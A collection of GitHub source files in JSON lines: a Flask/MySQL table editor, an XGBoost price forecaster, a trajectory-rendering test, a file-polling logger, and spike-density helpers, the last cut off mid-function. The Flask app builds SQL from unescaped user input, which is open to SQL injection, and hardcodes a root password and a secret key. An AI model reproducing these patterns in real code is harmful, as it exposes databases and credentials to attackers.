+{"seq_id":"29076084547","text":"from flask import Flask, request, render_template, redirect, flash, url_for\nfrom flaskext.mysql import MySQL\nimport json\nfrom flask import jsonify\nimport datetime\nimport pymysql\n\napp = Flask(__name__)\nmysql = MySQL()\n\n# MySQL configurations\napp.config['MYSQL_DATABASE_USER'] = 'root'\napp.config['MYSQL_DATABASE_PASSWORD'] = '123456'\napp.config['MYSQL_DATABASE_DB'] = 'test'\napp.config['MYSQL_DATABASE_HOST'] = 'localhost'\n\napp.secret_key = 'A0Zr98j/4yX R~XHH!jkN]LWXFDGR/,,,$%?RT'\n\nmysql.init_app(app)\nconn = mysql.connect()\ncursor = conn.cursor()\n\n\n@app.route('/', methods=('GET',))\ndef index():\n    cursor.execute('SHOW TABLES')\n    t_names = cursor.fetchall()\n    t_names = [x for x in t_names if x[0] != 'protocol']\n    return render_template('index.html', t_names=t_names)\n\n\n@app.route('/error', methods=('GET',))\ndef error_page(err=None):\n    return render_template('error.html', error=err)\n\n\n@app.route('/insert/<string:table_name>', methods=('GET', 'POST'))\ndef insert_record(table_name):\n    try:\n        cursor.execute(f'DESCRIBE {table_name}')\n        struct = cursor.fetchall()[1:]\n\n        select_col = ()\n        if table_name == 'employee':\n            cursor.execute(\"SELECT id, name FROM department\")\n            select_col = cursor.fetchall()\n        elif table_name == 'vacations':\n            cursor.execute(\"SELECT id, name FROM employee\")\n            select_col = cursor.fetchall()\n\n        if request.method == 'POST':\n            query = f\"INSERT INTO {table_name}(\"\n            for col in struct:\n                if col[0] == struct[len(struct)-1][0]:\n                    query += f\"{col[0]})\"\n                else:\n                    query += f\"{col[0]}, \"\n\n            query += \" VALUE(\"\n\n            for num, col in enumerate(request.form):\n                if col == struct[num][0]:\n                    if col == struct[len(struct)-1][0]:\n                        query += f\"'{request.form[struct[num][0]]}')\"\n                        break\n                    if col == 'employee_id' or col == 'department_id':\n                        entry = [id for id, name in select_col if name == request.form[struct[num][0]]][0]\n                        query += f\"'{entry}', \"\n                    else:\n                        query += f\"'{request.form[struct[num][0]]}', \"\n\n            print(query)\n            cursor.execute(query)\n            conn.commit()\n    except pymysql.Error as err:\n        flash(err.args[1])\n        return redirect(url_for('error_page'))\n\n    return render_template('insert.html', struct=struct, select_col=select_col)\n\n\n@app.route('/delete/<string:table_name>/<int:id>', methods=('POST',))\ndef delete_record(table_name, id):\n    try:\n        cursor.execute(f\"DELETE FROM {table_name} WHERE id = {id}\")\n        conn.commit()\n    except pymysql.Error as err:\n        flash(err.args[1])\n        return redirect(url_for('error_page'))\n\n    return redirect(url_for('show_table', table_name=table_name))\n\n\n@app.route('/edit/<string:table_name>/<int:id>', methods=('GET', 'POST'))\ndef edit_record(table_name, id):\n    try:\n        cursor.execute(f'DESCRIBE {table_name}')\n        struct = cursor.fetchall()\n        select_col = ()\n        if table_name == 'employee':\n            query = f\"SELECT e.id, d.name, e.name, e.fired FROM department d INNER JOIN employee e ON d.id=e.department_id WHERE e.id = {id}\"\n            cursor.execute(\"SELECT id, name FROM department\")\n            select_col = cursor.fetchall()\n        elif table_name == 'vacations':\n            query = f\"SELECT v.id, e.name, v.d_start, v.d_end FROM employee e INNER JOIN vacations v ON e.id=v.employee_id WHERE v.id = {id}\"\n            cursor.execute(\"SELECT id, name FROM employee\")\n            select_col = cursor.fetchall()\n        else:\n            query = f'SELECT * FROM {table_name} WHERE id = {id}'\n        cursor.execute(query)\n        row = cursor.fetchone()\n\n        if not row:\n            flash(\"Id not found\")\n            return redirect(url_for('error_page'))\n\n        row = list(row)\n        for col in row:\n            if type(col) == datetime.date:\n                row[row.index(col)] = col.strftime(\"%Y-%m-%d\")\n\n        if request.method == 'POST':\n            first = True\n            query = f\"UPDATE {table_name} SET \"\n            stat = \"\"\n            for num, col in enumerate(request.form):\n                if col == struct[num][0]:\n                    if col == 'id':\n                        continue\n                    if request.form[struct[num][0]] != row[num]:\n                        if col == 'employee_id' or col == 'department_id':\n                            entry = [id for id, name in select_col if name == request.form[struct[num][0]]][0]\n                            if first:\n                                first = False\n                                stat += f\"{col} = '{entry}'\"\n                            else:\n                                stat += f\", {col} = '{entry}'\"\n                        else:\n                            if first:\n                                first = False\n                                stat += f\"{col} = '{request.form[struct[num][0]]}'\"\n                            else:\n                                stat += f\", {col} = '{request.form[struct[num][0]]}'\"\n\n            if not stat:\n                flash(\"Data has not changed\")\n            query += stat\n            query += f\" WHERE id = '{row[0]}'\"\n            cursor.execute(query)\n            conn.commit()\n            print(query)\n            return redirect(url_for('edit_record', table_name=table_name, id=id))\n\n    except pymysql.Error as err:\n        flash(err.args[1])\n        return redirect(url_for('error_page'))\n\n    return render_template('edit.html', struct=struct, select_col=select_col, row=row, table_name=table_name)\n\n\n@app.route('/show/<string:table_name>', methods=('GET', 'POST'))\ndef show_table(table_name):\n    try:\n        cursor.execute(f'DESCRIBE {table_name}')\n        struct = cursor.fetchall()\n        if table_name == 'employee':\n            query = \"SELECT e.id, d.name, e.name, e.fired FROM department d INNER JOIN employee e ON d.id=e.department_id \"\n        elif table_name == 'vacations':\n            query = \"SELECT v.id, e.name, v.d_start, v.d_end FROM employee e INNER JOIN vacations v ON e.id=v.employee_id \"\n        else:\n            query = f'SELECT * FROM {table_name} '\n\n        cursor.execute(query)\n        data = cursor.fetchall()\n\n        if request.method == 'POST':\n            methods = json.loads(request.form['sort_methods'])\n            directions = json.loads(request.form['sort_directions'])\n\n            cond_methods = json.loads(request.form['condition_methods'])\n            cond_conditions = json.loads(request.form['condition_conditions'])\n            cond_input_data = json.loads(request.form['condition_data'])\n\n            cond_stat = \"\"\n            first_cond = True\n            data = list(zip(cond_methods, cond_conditions, cond_input_data))\n            data = list(map(lambda x: list(x), data))\n            for elem in data:\n                if elem[0] and elem[1] and elem[2]:\n                    if elem[0] == 'department_id':\n                        data[data.index(elem)][0] = 'd.name'\n                    if elem[0] == 'employee_id':\n                        data[data.index(elem)][0] = 'e.name'\n                    if elem[0] == 'id' and table_name == 'employee':\n                        data[data.index(elem)][0] = 'e.id'\n                    if elem[0] == 'id' and table_name == 'vacations':\n                        data[data.index(elem)][0] = 'v.id'\n                    if elem[0] == 'name' and table_name == 'employee':\n                        data[data.index(elem)][0] = 'e.name'\n                    if elem[1] == 'Равняется':\n                        data[data.index(elem)][1] = '='\n                    if elem[1] == 'Не равняется':\n                        data[data.index(elem)][1] = '!='\n                    if elem[1] == 'Больше':\n                        data[data.index(elem)][1] = '>'\n                    if elem[1] == 'Меньше':\n                        data[data.index(elem)][1] = '<'\n                    if elem[1] == 'Больше равно':\n                        data[data.index(elem)][1] = '>='\n                    if elem[1] == 'Меньше равно':\n                        data[data.index(elem)][1] = '<='\n                    if elem[1] == 'Содержит':\n                        data[data.index(elem)][1] = 'LIKE'\n                    if first_cond:\n                        first_cond = False\n                        if elem[1] == 'LIKE':\n                            cond_stat += f\"WHERE {elem[0]} {elem[1]} '%{elem[2]}%'\"\n                        else:\n                            cond_stat += f\"WHERE {elem[0]} {elem[1]} '{elem[2]}'\"\n                    else:\n                        if elem[1] == 'LIKE':\n                            cond_stat += f\" AND {elem[0]} {elem[1]} '%{elem[2]}%'\"\n                        else:\n                            cond_stat += f\" AND {elem[0]} {elem[1]} '{elem[2]}'\"\n\n            query += cond_stat\n            sort_stat = \"\"\n            if cond_stat:\n                sort_stat = \" \"\n            first = True\n            data = list(zip(methods, directions))\n            data = list(map(lambda x: list(x), data))\n            for elem in data:\n                if elem[0] and elem[1]:\n                    direction = \"\"\n                    if elem[0] == 'name' and table_name == 'employee':\n                        data[data.index(elem)][0] = 'e.name'\n                    if elem[0] == 'department_id':\n                        data[data.index(elem)][0] = 'd.name'\n                    if elem[0] == 'employee_id':\n                        data[data.index(elem)][0] = 'e.name'\n                    if elem[1] == 'По убыванию':\n                        direction = ' DESC'\n                    if first:\n                        first = False\n                        sort_stat += f\"ORDER BY {elem[0]}{direction}\"\n                    else:\n                        sort_stat += f\", {elem[0]}{direction}\"\n            query += sort_stat\n            cursor.execute(query)\n            data = cursor.fetchall()\n\n            d_data = list(map(lambda x: list(x), data))\n            for row in d_data:\n                for col in row:\n                    if type(col) == datetime.date:\n                        row[row.index(col)] = col.strftime(\"%Y-%m-%d\")\n\n            return jsonify({'res': d_data, 'table_name': table_name})\n\n    except pymysql.Error as err:\n        flash(err.args[1])\n        return redirect(url_for('error_page'))\n\n    return render_template('show.html', struct=struct, data=data, table_name=table_name)\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"DogggHunter/DBEditor","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"22588380048","text":"\nimport xgboost as xgb\nimport pandas as pd\n\nimport tools\nimport graph\n\n# Importar la Data\ndat = pd.read_excel(\"Data Mensual Post-Análisis.xlsx\",sheet_name=\"Data\")\ndat = dat.drop([\"Año\",\"Mes\"], axis = 1)\ndat = dat.rename(columns = {\"Precio mayorista pollo vivo - Lima\": 'Precio'}, inplace = False)\n\n# Eliminar las Variables Anuales\nanuales = dat.loc[:,[\"Consumo per capita de pollo\",\"Producción nacional de jurel \",\"Producción nacional de bonito\"]]\ndat = dat.drop([\"Consumo per capita de pollo\",\"Producción nacional de jurel \",\"Producción nacional de bonito\"],axis = 1)\n\n####Creación de columna alimentos (Conversión Redondos)\ndat[\"Alimentos\"] = round(dat[\"Maíz EEUU\"]*0.63+dat[\"Harina (torta) Soya EEUU\"]*0.26+dat[\"Frejol de Soya EEUU\"]*0.11,1)\n\n\n\nvarIn = ['Fecha',\n 'Precio',\n 'Carga Pollo BB Peru',\n#'Inversión privada',\n'Expectativas de inflación a mismo año',\n 'Precio promedio al consumidor de huevos a granel (gallina)',\n 'Inflación promedio en Lima',\n 'Alimentos'\n]\n\n\n#################\n#Preparando Data#\n#################\n\ndf = dat.loc[:,varIn]\n#df[\"Precio\"] = df[\"Precio\"].rolling(4).mean()\n\nhorizont = 1\ndf = tools.lag(df, horizont+0)\nvarIn.remove(\"Precio\")\nvarIn.remove(\"Fecha\")\ndf = df.drop(varIn,axis = 1)\ndf = df.dropna()\n\ncol_list=[]\nfor col_name in df.columns:\n    if col_name == \"Fecha\" or col_name == \"Precio\" or  (col_name[-1].isnumeric() and int(col_name[-1]) >= horizont):\n        col_list.append(col_name)\ndf = df[col_list]\n\n\n###División de la Data\ntrain_split= 0.80\ntarget = \"Precio\"\ntime_col = \"Fecha\"\n\nx_train, y_train, x_test, y_test, trainFecha, testFecha = tools.split_data(df, train_split, target, time_col)\n\n\n########\n#Modelo#\n########\n\nmodelo ={\n\t\"Modelo\" : \"XGB\",\n\t\"base_score\": 0.5, \n\t\"booster\": 'gbtree', \n\t\"colsample_bylevel\": 1,\n\t\"colsample_bynode\": 1, \n\t\"colsample_bytree\": 1, \n\t\"gamma\": 0,\n\t\"importance_type\": 'gain', \n\t\"learning_rate\": 0.1, \n\t\"max_delta_step\": 0,\n\t\"max_depth\": 3, \n\t\"min_child_weight\": 1, \n\t\"n_estimators\": 100,\n\t\"n_jobs\": 1, \n\t\"nthread\": None, \n\t\"objective\": 'reg:linear', \n\t\"random_state\": 0,\n\t\"reg_alpha\": 0, \n\t\"reg_lambda\": 1, \n\t\"scale_pos_weight\": 1, \n\t\"seed\": None,\n\t\"silent\": None, \n\t\"subsample\": 1, \n\t\"verbosity\": 1\n}\n\n\n\nXGBR = xgb.XGBRegressor(base_score= modelo[\"base_score\"], booster= modelo[\"booster\"], colsample_bylevel= modelo[\"colsample_bylevel\"],\n       colsample_bynode= modelo[\"colsample_bynode\"], colsample_bytree= modelo[\"colsample_bytree\"], gamma= modelo[\"gamma\"],\n       importance_type= modelo[\"importance_type\"], learning_rate= modelo[\"learning_rate\"], max_delta_step= modelo[\"max_delta_step\"],\n       max_depth= modelo[\"max_depth\"], min_child_weight= modelo[\"min_child_weight\"], n_estimators= modelo[\"n_estimators\"],\n       n_jobs= modelo[\"n_jobs\"], nthread= modelo[\"nthread\"], objective= modelo[\"objective\"], random_state= modelo[\"random_state\"],\n       reg_alpha= modelo[\"reg_alpha\"], reg_lambda= modelo[\"reg_lambda\"], scale_pos_weight= modelo[\"scale_pos_weight\"], seed= modelo[\"seed\"],\n       silent=modelo[\"silent\"], subsample= modelo[\"subsample\"], verbosity= modelo[\"verbosity\"])\n\n\n#########Entrenamiento\nXGBR.fit(x_train,y_train)\n\n# tools.make_predictor_for_model(XGBR, modelo, varIn, \"\")\n\n\n########Predicción\n\ny_predTrain = XGBR.predict(x_train)\n\ny_predTest = XGBR.predict(x_test)\n\ntools.save_object(\"model_x.pkl\", XGBR)\nmodel_x=tools.load_object(\"model_x.pkl\")\ny_predTest_2 = model_x.predict(x_test)\n\ny_realTrain = pd.DataFrame(y_train)\n\ny_realTest = pd.DataFrame(y_test)\n\n###################################\n\nresults_df = tools.make_results_df(y_predTrain, y_predTest, y_realTrain, \n                                   y_realTest, trainFecha, testFecha, modelo)\n\n\ntrain_metrics = tools.metrics(y_predTrain, y_train)\nreal_metrics = tools.metrics(y_predTest, y_test)\nprint(\"\\n train_metrics\")\nprint(train_metrics)\nprint(\"\\n real_metrics\")\nprint(real_metrics)\n\n\nprint(modelo)\ntools.save_model(modelo, results_df, train_metrics, real_metrics, varIn)\n\n\ngraph.plot_series_df(results_df,\n                      [\"Real\", \n                      modelo[\"Modelo\"]+\"_test\",\n                      modelo[\"Modelo\"]+\"_train\"], \n                      title= \"Predicción\",\n                      save = True,\n                      modelo = modelo[\"Modelo\"])\n\ngraph.plot_series_df(results_df.iloc[-len(y_test):],\n                      [\"Real\",\n                      modelo[\"Modelo\"]+\"_test\",\n                      ],\n                      title= \"Predicción Detalle\",\n                      save = True,\n                      modelo = modelo[\"Modelo\"])\n\ngraph.plot_scatter_pred(results_df.iloc[-len(y_test):],\n                      \"Real\", \n                      modelo[\"Modelo\"]+\"_test\",\n                      title= \"Dispersión de Predicción\",\n                      save = True,\n                      modelo = modelo[\"Modelo\"])","repo_name":"Josericardo3/FilesPriceModel","sub_path":"Mensuales/XGBR Mensual.py","file_name":"XGBR Mensual.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10455113533","text":"from tracktable.domain.terrestrial import TrajectoryPointReader\nfrom tracktable.applications.assemble_trajectories import AssembleTrajectoryFromPoints\nfrom tracktable.render.render_trajectories import render_trajectories\nfrom tracktable.core import test_utilities as utils\nimport os.path\nimport sys\n\ndef load_sample_data(path):\n    inFile = open(os.path.join(path, 'SampleFlightsUS.csv'))\n    reader = TrajectoryPointReader()\n    reader.input = inFile\n    reader.comment_character = '#'\n    reader.field_delimiter = ','\n    # Set columns for data we care about\n    reader.object_id_column = 0\n    reader.timestamp_column = 1\n    reader.coordinates[0] = 2\n    reader.coordinates[1] = 3\n    reader.set_real_field_column('altitude',4) #could be ints\n    reader.set_real_field_column('heading',5)\n    reader.set_real_field_column('speed',6)\n\n    builder = AssembleTrajectoryFromPoints()\n    builder.input = reader\n    builder.minumum_length = 3\n\n    return list(builder.trajectories())\n\n# ----------------------------------------------------------------------\n\ndef test_render_trajectories(ground_truth_path, test_output_path,\n                             data_path):\n\n    trajs = load_sample_data(data_path)\n    few_trajs = [traj for traj in trajs if traj[0].object_id == 'SSS019'\\\n                 or traj[0].object_id == 'TTT020']\n    #return test_default(ground_truth_path, test_output_path, few_trajs)\n    num_errors = 0\n\n    filename = \"Default.html\"\n    render_trajectories(few_trajs,\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"Single.html\"\n    render_trajectories(trajs[3],\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"Tiles.html\"\n    render_trajectories(trajs[3], tiles='CartoDBPositron',\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"TileServer.html\"\n    render_trajectories(trajs[3],\n                        tiles='http://server.arcgisonline.com/ArcGIS/rest/services/NatGeo_World_Map/MapServer/tile/{z}/{y}/{x}',\n                        attr='ESRI',\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"Bbox.html\"\n    render_trajectories(few_trajs,\n                        map_bbox=[-108.081, 39.3078, -104.811, 41.27],\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"ObjIds.html\"\n    render_trajectories(trajs, obj_ids=\"VVV022\",\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"ObjIdsList.html\"\n    render_trajectories(trajs, obj_ids=[\"JJJ010\", \"LLL012\"],\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"SolidSingle.html\"\n    render_trajectories([trajs[0], trajs[12]], line_color = 'red',\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"SolidMulti.html\"\n    render_trajectories([trajs[0], trajs[12]],\n                        line_color = ['red', '#0000FF'],\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"ColormapSingle.html\"\n    render_trajectories([trajs[0], trajs[12]],\n                        color_map = 'BrBG',\n                        backend='folium', show=False,save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"ColormapMulti.html\"\n    render_trajectories([trajs[0], trajs[12]],\n                        color_map = ['BrBG', 'plasma'],\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"CustomColormap.html\"\n    import matplotlib.cm\n    import numpy as np\n    blues_map = matplotlib.cm.get_cmap('Blues', 256)\n    newcolors = blues_map(np.linspace(0, 1, 256))\n    pink = np.array([248/256, 24/256, 148/256, 1])\n    newcolors[:25, :] = pink # pink for takeoff (first ~10% of trajectory)\n    render_trajectories([trajs[0], trajs[12]],\n                        color_map = matplotlib.colors.ListedColormap(newcolors),\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n\n    filename = \"GradientHueSingle.html\"\n    render_trajectories([trajs[0], trajs[12]],\n                        gradient_hue = .5,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"GradientHueMulti.html\"\n    render_trajectories([trajs[0], trajs[12]],\n                        gradient_hue = [.25, .66],\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"GradientHueFromColors.html\"\n    render_trajectories([trajs[0], trajs[12]],\n                        gradient_hue = ['#00FF00', 'orange'],\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"AltitudeColormap.html\"\n    import matplotlib.colors\n    def altitude_generator(trajectory):\n        return [point.properties['altitude'] for point in trajectory[:-1]]\n    render_trajectories([trajs[16]],\n                        trajectory_scalar_generator = altitude_generator,\n                        color_scale = \\\n                        matplotlib.colors.Normalize(vmin=0, vmax=35000),\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"Linewidth.html\"\n    render_trajectories(trajs[26], linewidth=5,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"CustomLinewidth.html\"\n    from tracktable.render.map_processing.common_processing import progress_linewidth_generator\n    render_trajectories(trajs[28], line_color='green',\n                        trajectory_linewidth_generator=progress_linewidth_generator,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"DefaultPoints.html\"\n    render_trajectories(trajs[15], show_points=True,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"PointProperties.html\"\n    render_trajectories(trajs[15], show_points=True,\n                        point_popup_properties = ['altitude', 'heading',\n                                                  'speed'],\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"PointSingleColor.html\"\n    render_trajectories(trajs[15], point_color='red', show_points=True,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"DotColorSize.html\"\n    render_trajectories(trajs[24], dot_color='red', dot_size=5,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"NoDot.html\"\n    render_trajectories(trajs[24], show_dot=False,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"DistanceGeometry.html\"\n    render_trajectories(trajs[25], show_distance_geometry=True,\n                        distance_geometry_depth=4,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n\n    filename = \"Animate.html\"\n    render_trajectories(trajs[23], animate=True,\n                        backend='folium', show=False, save=True,\n                        filename=os.path.join(test_output_path,\n                                              filename))\n    num_errors += utils.compare_html_to_ground_truth(filename,\n                                                     ground_truth_path,\n                                                     test_output_path,\n                                                     ignore_uuids=True)\n    return num_errors\n\n# ----------------------------------------------------------------------\n\ndef main():\n    if len(sys.argv) != 4:\n        print(\"usage: {} ground_truth_dir test_output_dir test_data_dir\".format(sys.argv[0]))\n        exit(-1)\n        #arg 3 is path to sample data\n    return test_render_trajectories(sys.argv[1], sys.argv[2], sys.argv[3])\n\n# ----------------------------------------------------------------------\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"sandialabs/tracktable","sub_path":"tracktable/Python/tracktable/render/tests/test_render_trajectories.py","file_name":"test_render_trajectories.py","file_ext":"py","file_size_in_byte":16958,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"37"}
+{"seq_id":"17462727620","text":"import time\nimport os\nfrom datetime import datetime\n\ndef add_to_logfile(my_list):   #function to add logfile\n    d = datetime.now()\n    with open('log.txt', 'a+') as f:\n        f.write(d.strftime('%Y-%m-%d %H:%M:%S') + \" Rule = \" + \"%s\" % my_list[len(my_list)-1] + \"\\n\")\n    f.close()        \n\nliste = []\n\n\nwhile(True):\n    \n    print(liste)\n    if ((os.stat(\"file.txt\").st_size == 0)==False):\n        with open(\"file.txt\") as fa:\n            lines = fa.readline()\n            print(\"here is line\")\n            print(lines)\n            liste.append(lines)\n        open('file.txt', 'w').close()\n        print(liste)\n        add_to_logfile(liste)\n        print(\"Send commando to actuator\")\n\n    time.sleep(2)\n\n\n\n\n","repo_name":"adham1988/RESTfullAPI","sub_path":"chek.py","file_name":"chek.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35988173954","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nGeneral functions .py file for analyses. Placed here in order to allow for importing all at once\r\n\r\nCreated on Wed Aug 12 09:35:00 2020\r\n\r\n@author: Kaleb\r\n\"\"\"\r\n# Import numpy\r\nimport numpy as np\r\n    \r\n\r\n# This function gets a PSP kernel for convolution for SDFs\r\ndef klGetKern():\r\n    # Set default parameters\r\n    td = 20\r\n    tg = 1\r\n    \r\n    pspTime = list(range(10*td))+[(1)]\r\n    kern = np.multiply((1-np.exp(np.negative(pspTime)/tg)),np.exp(np.negative(pspTime)/td))\r\n    leadingZeros = np.zeros(len(pspTime))\r\n    catKern = np.concatenate((leadingZeros,kern))\r\n    kernOut = catKern/sum(catKern)\r\n\r\n    return kernOut\r\n\r\n\r\n# This function convolves a spike matrix with the PSP kernel from klGetKern to generate an SDF matri\r\ndef klGetSDF(spkMat):\r\n    \r\n    # Find minimum spike time overall, shift the spike times, and get the new max and time range\r\n    minSpk = np.nanmin(spkMat)\r\n    spkShift = spkMat-(minSpk-1)\r\n    newMax = np.nanmax(spkShift)\r\n    tRange = [int(np.floor(minSpk)), int(np.floor(minSpk) + np.ceil(newMax))]\r\n    \r\n    # Get convolution kernel\r\n    myKern = klGetKern()*1000\r\n\r\n    # Round up each spike time, and place a 1 at each trial (row) and spike time index (column)\r\n    spkInds = np.zeros((np.size(spkMat,axis=0),len(range(np.ceil(newMax).astype(int)))))\r\n    convSpks = np.zeros((np.size(spkMat,axis=0),len(range(np.ceil(newMax).astype(int)))))\r\n    for r in range(np.size(spkMat,axis=0)):\r\n        if sum(~np.isnan(spkShift[r])) > 0:\r\n            theseInds = (np.ceil(spkShift[r,~np.isnan(spkShift[r])])-1)\r\n            spkInds[r,theseInds.astype(int)] = 1\r\n            convSpks[r,] = np.convolve(spkInds[r,],myKern,mode='same')\r\n            rowOver = np.argwhere(convSpks[r,] > 0.1)\r\n            # if len(rowOver) == 0:\r\n            #     convSpks[r,] = np.nan\r\n            # else:\r\n            convSpks[r,:int(rowOver[0])] = np.nan\r\n            convSpks[r,int(rowOver[-1]):(np.size(convSpks,axis=1))] = np.nan\r\n        else:\r\n            spkInds[r,] = np.nan\r\n            convSpks[r,] = np.nan\r\n        \r\n    sdfDict = {'SDF': convSpks, 'Times': np.array(range(tRange[0],tRange[1]))}\r\n    return sdfDict\r\n\r\n\r\n# Get unique values without nans, from a numpy array\r\ndef nunique(myArray):\r\n    # First get unique values\r\n    uVals = np.unique(myArray)\r\n    outVals = uVals[~np.isnan(uVals)]\r\n    return outVals\r\n\r\n\r\ndef PoissonSpikeMat(in_sdf, n_trs = 100, res = 5, offset = -500):\r\n    import numpy as np\r\n    \r\n    # Set up a spiking lambda function\r\n    poiss_rate = lambda perc_point, lamb: np.log(1-perc_point)/(-1*lamb)\r\n    \r\n    # Set up outputs/midpoints\r\n    n_res = in_sdf.shape[0]//res\r\n    my_lambs = np.empty([n_res,1])*np.nan\r\n    tr_spks = [np.array([]) for i in range(n_trs)]\r\n    \r\n    for it in range(n_trs):\r\n        # Loop over in_sdf by resolution to get mean firing rates\r\n        for ir in range(n_res):\r\n            # Isolate this time bin\r\n            my_times = np.arange(0,res)+(res*ir)\r\n            min_t = min(my_times)\r\n            \r\n            # Get mean value (lambda) for Poisson sampler\r\n            my_lambs[ir] = np.mean(in_sdf[my_times])\r\n            \r\n            # Set up counters\r\n            this_section_itis = [0.]\r\n            this_section_times = [0.]\r\n            \r\n            if not np.isnan(my_lambs[ir]):\r\n                # Do a while loop to sample until the end of the time bin\r\n                while this_section_times[-1] < res:\r\n                    # Get a random value between 0 and 1\r\n                    rand_val = np.random.uniform()\r\n                    next_iti = poiss_rate(rand_val, 